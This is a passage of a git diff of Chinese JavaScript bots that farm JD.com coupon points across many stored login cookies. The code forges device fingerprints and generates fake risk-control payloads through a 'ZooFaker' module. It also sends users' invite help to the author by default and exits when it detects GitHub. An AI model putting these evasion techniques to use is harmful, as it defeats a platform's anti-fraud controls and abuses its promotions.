`https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index`, + 'Accept-Language': `zh-cn` + } + } +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + //自定义助力码 + if (process.env.MONEYTREE_SHARECODES) { + if (process.env.MONEYTREE_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.MONEYTREE_SHARECODES.split('\n'); + } else { + shareCodes = process.env.MONEYTREE_SHARECODES.split('&'); + } + } + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = []; + let inviteCodes = [ + 't_7LVGP8mopofh8AG0Q7E8AdoUJQ3Dik@zExA7lNc3HrJrbVuG3xRVMAdoUJQ3Dik@cvwWiz9o2evNHFdNk0oNbMAdoUJQ3Dik@8MQ6wrd9H0IAujNGUqzTAA@0IzWPVQGlmepafqlqgOSXw', + 't_7LVGP8mopofh8AG0Q7E8AdoUJQ3Dik@zExA7lNc3HrJrbVuG3xRVMAdoUJQ3Dik@cvwWiz9o2evNHFdNk0oNbMAdoUJQ3Dik@8MQ6wrd9H0IAujNGUqzTAA@0IzWPVQGlmepafqlqgOSXw' + ]; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将为本脚本作者【zero205】助力\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); "undefined" != typeof process && JSON.stringify(process.env.JD_COOKIE).indexOf("jd_4685b2157f874") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_necklace.js b/jd_necklace.js index ffa0568..8a67e37 100755 --- a/jd_necklace.js +++ b/jd_necklace.js @@ -1,34 +1,35 @@ +// @grant require /* 点点券,可以兑换无门槛红包(1元,5元,10元,100元,部分红包需抢购) -Last Modified time: 2021-05-28 17:27:14 +Last Modified time: 2021-07-23 10:27 活动入口:京东APP-领券中心/券后9.9-领点点券 [活动地址](https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html) 脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js ===============Quantumultx=============== [task_local] #点点券 -20 0,20 * * * jd_necklace.js, tag=点点券, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +10 0,20 * * * jd_necklace.js, tag=点点券, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +================Loon============== +[Script] +cron "10 0,20 * * *" script-path=jd_necklace.js,tag=点点券 + +===============Surge================= +点点券 = type=cron,cronexp="10 0,20 * * *",wake-system=1,timeout=3600,script-path=jd_necklace.js + +============小火箭========= +点点券 = type=cron,script-path=jd_necklace.js, cronexpr="10 0,20 * * *", timeout=3600, enable=true */ const $ = new Env('点点券'); -const ZooFaker=require('./ZooFaker_Necklace.js').utils; let allMessage = ``; const notify = $.isNode() ? require('./sendNotify') : ''; +const zooFaker = require('./ZooFaker_Necklace').utils; //Node.js用户请在jdCookie.js处填写京东ck; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; const openUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html%22%20%7D` - -let UA = ``; -function randomString(e) { - e = e || 32; - let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} -let message = ''; +let message = '', joyToken = '', UA = '', uuid = ''; let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); //IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; +let cookiesArr = [], cookie = '', hasSend = false; if ($.isNode()) { Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) @@ -44,21 +45,29 @@ const JD_API_HOST = 'https://api.m.jd.com/api'; $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); return; } - // console.log(`\n通知:京东已在领取任务、签到、领取点点券三个添加了log做了校验,暂时无可解决\n`); + for (let i = 0; i < cookiesArr.length; i++) { if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.cookie = cookiesArr[i]; + await getToken(); + cookie = cookiesArr[i] + `joyytoken=50082${joyToken};`; $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) $.index = i + 1; $.isLogin = true; $.nickName = ''; - $.joyytoken=""; message = ''; - UA = `jdapp;android;10.0.2;9;${randomString(28)}-${randomString(28)};` - console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + await TotalBean(); + console.log(`\n*******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + UA = `jdapp;iPhone;10.0.8;14.4.2;${randomString()};network/wifi;ADID/3F74A88A-71D3-404B-BBDF-8C0575E680EC;model/iPhone10,2;addressid/4091160336;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + uuid = UA.split(';') && UA.split(';')[4] || '' await jd_necklace(); - // break } } if ($.isNode() && allMessage) { @@ -73,31 +82,39 @@ const JD_API_HOST = 'https://api.m.jd.com/api'; }) async function jd_necklace() { try { - await necklace_homePage(); - await $.wait(2000) - await doTask(); - await $.wait(2000) - await sign(); - await $.wait(2000) - await necklace_homePage(); - await receiveBubbles(); - await necklace_homePage(); - // // await necklace_exchangeGift($.totalScore);//自动兑换多少钱的无门槛红包,1000代表1元,默认兑换全部点点券 - await showMsg(); - await $.wait(2000) + await necklace_homePage(); + await $.wait(2000) + await doTask(); + await $.wait(2000) + await sign(); + await $.wait(2000) + await necklace_homePage(); + await $.wait(2000) + await receiveBubbles(); + await $.wait(2000) + await necklace_homePage(); + await $.wait(2000) + if (formatInt($.totalScore)) { + if (new Date().getDate() === 20 && (new Date().getMonth() + 1 === 6)) { + //2021-06-21凌晨0点,点点券将要全部清零处理,故全部兑换 + await $.wait(2000) + await necklace_exchangeGift(formatInt($.totalScore));//自动兑换多少钱的无门槛红包,1000代表1元,默认兑换全部点点券 + } + } + await showMsg(); } catch (e) { $.logErr(e) } } function showMsg() { return new Promise(async resolve => { - // if (nowTimes.getHours() >= 20) { + if (nowTimes.getHours() >= 20) { $.msg($.name, '', `京东账号${$.index} ${$.nickName || $.UserName}\n当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n点击弹窗即可去兑换(注:此红包具有时效性)`, { 'open-url': openUrl}); - // } + } // 云端大于10元无门槛红包时进行通知推送 - // if ($.isNode() && $.totalScore >= 20000 && nowTimes.getHours() >= 20) await notify.sendNotify(`${$.name} - 京东账号${$.index}`, `京东账号${$.index}\n当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n点击链接即可去兑换(注:此红包具有时效性)\n↓↓↓ \n\n ${openUrl} \n\n ↑↑↑`, { url: openUrl }) + // if ($.isNode() && $.totalScore >= 20000 && nowTimes.getHours() >= 20) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${$.nickName}\n当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n点击链接即可去兑换(注:此红包具有时效性)\n↓↓↓ \n\n ${openUrl} \n\n ↑↑↑`, { url: openUrl }) if ($.isNode() && nowTimes.getHours() >= 20 && (process.env.DDQ_NOTIFY_CONTROL ? process.env.DDQ_NOTIFY_CONTROL === 'false' : !!1)) { - allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n(京东APP->领券->左上角点点券.注:此红包具有时效性)${$.index !== cookiesArr.length ? '\n\n' : `\n↓↓↓ \n\n "https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html" \n\n ↑↑↑`}` + allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n(京东APP->领券->左上角点点券.注:此红包具有时效性)${$.index !== cookiesArr.length ? '\n\n' : `\n\n↓↓↓ \n https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html \n\n ↑↑↑\n\n点点券将在每年 6月21日和11月14日 00:00 清空,请注意兑换`}` } resolve() }) @@ -105,16 +122,14 @@ function showMsg() { async function doTask() { for (let item of $.taskConfigVos) { if (item.taskStage === 0) { - console.log(`【${item.taskName}】 任务未领取,开始领取此任务`); - let res = await necklace_startTask(item.id); - if(res && res.rtn_code == 0){ - console.log(`【${item.taskName}】 任务领取成功,开始完成此任务`); - await $.wait(2000); - await reportTask(item); - await $.wait(2000) - }else{ - UA = `jdapp;android;10.0.2;9;${randomString(28)}-${randomString(28)};` - } + console.log(`\n【${item.taskName}】 任务未领取,开始领取此任务`); + const res = await necklace_startTask(item.id); + await $.wait(2000); + if (res && res.rtn_code !== 0) continue + console.log(`【${item.taskName}】 任务领取成功,开始完成此任务`); + await $.wait(2000); + await reportTask(item); + await $.wait(2000); } else if (item.taskStage === 2) { console.log(`【${item.taskName}】 任务已做完,奖励未领取`); } else if (item.taskStage === 3) { @@ -122,23 +137,32 @@ async function doTask() { } else if (item.taskStage === 1) { console.log(`\n【${item.taskName}】 任务已领取但未完成,开始完成此任务`); await reportTask(item); - await $.wait(2000) + await $.wait(2000); } } } async function receiveBubbles() { - for (let item of $.bubbles) { + if ($.bubbles && $.bubbles.length) { console.log(`\n开始领取点点券`); - await necklace_chargeScores(item.id) - await $.wait(2000) + for (let item of $.bubbles) { + if (!item.id) continue; + await necklace_chargeScores(item.id); + await $.wait(2000) + } + } else { + console.log(`\n当前暂无可领取点点券`); } } async function sign() { - if ($.signInfo.todayCurrentSceneSignStatus === 1) { - console.log(`\n开始每日签到`) - await necklace_sign(); + if ($.signInfo && $.signInfo.todayCurrentSceneSignStatus) { + if ($.signInfo.todayCurrentSceneSignStatus === 1) { + console.log(`\n开始每日签到`) + await necklace_sign(); + } else { + console.log(`已签到\n`) + } } else { - console.log(`当前${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()}已签到`) + console.log(`未获取到签到信息\n`) } } async function reportTask(item = {}) { @@ -155,18 +179,26 @@ async function reportTask(item = {}) { } } //首页浏览XX秒的任务 - // console.log(item) if (item['taskType'] === 3) await doAppTask('3', item.id); if (item['taskType'] === 4) await doAppTask('4', item.id); } + +/** + * 将数字取整为10的倍数 + * @param {Number} num 需要取整的值 + * @param {Boolean} ceil 是否向上取整 + * @param {Number} prec 需要用0占位的数量 + */ +function formatInt(num, prec = 1, ceil = false) { + const len = String(num).length; + if (len <= prec) { return num } + const mult = Math.pow(10, prec); + return ceil ? Math.ceil(num / mult) * mult : Math.floor(num / mult) * mult; +} //每日签到福利 function necklace_sign() { return new Promise(async resolve => { - $.action = 'sign' - const body=await ZooFaker.get_risk_result($) - // const body = { - // currentDate: $.lastRequestTime.replace(/:/g, "%3A"), - // } + const body = await zooFaker.getBody({ 'cookie': cookie, 'action': 'sign', 'joyToken': joyToken, 'uuid': uuid }); $.post(taskPostUrl("necklace_sign", body), async (err, resp, data) => { try { if (err) { @@ -181,6 +213,8 @@ function necklace_sign() { // $.taskConfigVos = data.data.result.taskConfigVos; // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; } + } else if (data.rtn_code === 403) { + console.log(`每日签到失败:活动太火爆了,还是去买买买吧~\n`); } else { console.log(`每日签到失败:${JSON.stringify(data)}\n`); } @@ -196,12 +230,9 @@ function necklace_sign() { } //兑换无门槛红包 function necklace_exchangeGift(scoreNums) { - return new Promise(resolve => { - const body = { - scoreNums, - "giftConfigId": 31, - currentDate: $.lastRequestTime.replace(/:/g, "%3A"), - } + return new Promise(async resolve => { + const body = await zooFaker.getBody({ 'cookie': cookie, 'action': 'exchangeGift', 'id': scoreNums, 'joyToken': joyToken, 'uuid': uuid }); + console.log(`\n使用${scoreNums}个点点券兑换${scoreNums / 1000}元无门槛红包`); $.post(taskPostUrl("necklace_exchangeGift", body), async (err, resp, data) => { try { if (err) { @@ -216,7 +247,10 @@ function necklace_exchangeGift(scoreNums) { message += `${result.redpacketTitle}:${result.redpacketAmount}元兑换成功\n`; message += `红包有效期:${new Date(result.endTime + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString('zh', {hour12: false})}`; console.log(message) + if ($.isNode()) await notify.sendNotify($.name, message); } + } else { + console.log(`兑换失败:${JSON.stringify(data)}`) } } } @@ -231,28 +265,23 @@ function necklace_exchangeGift(scoreNums) { //领取奖励 function necklace_chargeScores(bubleId) { return new Promise(async resolve => { - $.id = bubleId - $.action = 'chargeScores' - const body=await ZooFaker.get_risk_result($); - // const body = { - // bubleId, - // currentDate: $.lastRequestTime.replace(/:/g, "%3A"), - // } + const body = await zooFaker.getBody({ 'cookie': cookie, 'action': 'chargeScores', 'id': bubleId, 'giftConfigId': $.giftConfigId, 'joyToken': joyToken, 'uuid': uuid }); $.post(taskPostUrl("necklace_chargeScores", body), async (err, resp, data) => { try { if (err) { console.log(`${JSON.stringify(err)}`) console.log(`${$.name} API请求失败,请检查网路重试`) } else { + // console.log(`领取点点券结果`, data); if (safeGet(data)) { data = JSON.parse(data); if (data.rtn_code === 0) { if (data.data.biz_code === 0) { - // $.taskConfigVos = data.data.result.taskConfigVos; - // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + console.log(`点点券领取成功,获得${data.data.result.giftScoreNum},当前共有${data.data.result.totalScoreNum}\n`) + // $.giftScoreNum = data.data.result.giftScoreNum; + $.totalScore = data.data.result.totalScoreNum; } } else { - UA = `jdapp;android;10.0.2;9;${randomString(28)}-${randomString(28)};` console.log(`领取点点券失败:${JSON.stringify(data)}\n`) } } @@ -271,20 +300,16 @@ function necklace_startTask(taskId, functionId = 'necklace_startTask', itemId = taskId, currentDate: $.lastRequestTime.replace(/:/g, "%3A"), } - if(functionId == 'necklace_startTask'){ - $.id = taskId - $.action = 'startTask' - body=await ZooFaker.get_risk_result($) - }else{ - if (itemId) body['itemId'] = itemId; + if (functionId === 'necklace_startTask') { + body = await zooFaker.getBody({ 'id': taskId, 'cookie': cookie, 'action': 'startTask', 'joyToken': joyToken, 'uuid': uuid }) } + if (itemId && functionId === 'necklace_reportTask') body['itemId'] = itemId; $.post(taskPostUrl(functionId, body), async (err, resp, data) => { try { if (err) { console.log(`${JSON.stringify(err)}`) console.log(`${$.name} API请求失败,请检查网路重试`) } else { - console.log(`${functionId === 'necklace_startTask' ? '领取任务结果' : '做任务结果'}:${data}`); if (safeGet(data)) { data = JSON.parse(data); if (data.rtn_code === 0) { @@ -292,6 +317,10 @@ function necklace_startTask(taskId, functionId = 'necklace_startTask', itemId = // $.taskConfigVos = data.data.result.taskConfigVos; // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; } + } else if (data.rtn_code === 403) { + console.log(`${functionId === 'necklace_startTask' ? '领取任务失败' : '做任务失败'}:活动太火爆了,还是去买买买吧~\n`); + } else { + console.log(`${functionId === 'necklace_startTask' ? '领取任务失败' : '做任务失败'}:${JSON.stringify(data)}\n`); } } } @@ -350,11 +379,16 @@ function necklace_homePage() { if (data.rtn_code === 0) { if (data.data.biz_code === 0) { $.taskConfigVos = data.data.result.taskConfigVos; - $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs || []; $.lastRequestTime = data.data.result.lastRequestTime; $.bubbles = data.data.result.bubbles; - $.signInfo = data.data.result.signInfo; + $.signInfo = data.data.result.signInfo || {}; $.totalScore = data.data.result.totalScore; + const config = $.exchangeGiftConfigs.filter(item => item['giftType'] === 1); + if (config && config[0]) { + $.giftConfigId = config[0]['id']; + console.log(`点点券兑换无门槛红包ID为:${$.giftConfigId}`); + } } } } @@ -369,52 +403,40 @@ function necklace_homePage() { } async function doAppTask(type = '3', id) { - console.log(id) - let functionId = 'getCcTaskList' - let body = "area=16_1315_3486_59648&body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22lat%22%3A%2224.49441271645999%22%2C%22globalLat%22%3A%2224.49335%22%2C%22lng%22%3A%22118.1447713674174%22%2C%22globalLng%22%3A%22118.1423%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=75afd018b5751e9ac4cba0b51b8adb3c&st=1624535152771&sv=101&uemps=0-0&uts=0f31TVRjBStsz%2BC9YKuTtbGZPv/xrvQQdSUKvavez1nEbzXO4dLo%2BXEvUHAXAd0VPmZqkUNAf2yO/fBM7ImhPYnyBrotzw06Kk7qP6mG42fhA1t5BkW3ZGLaQgPtiuosYOHPMyHpg%2BJ9ZQBP4g3zsSFq2DUWsTOZ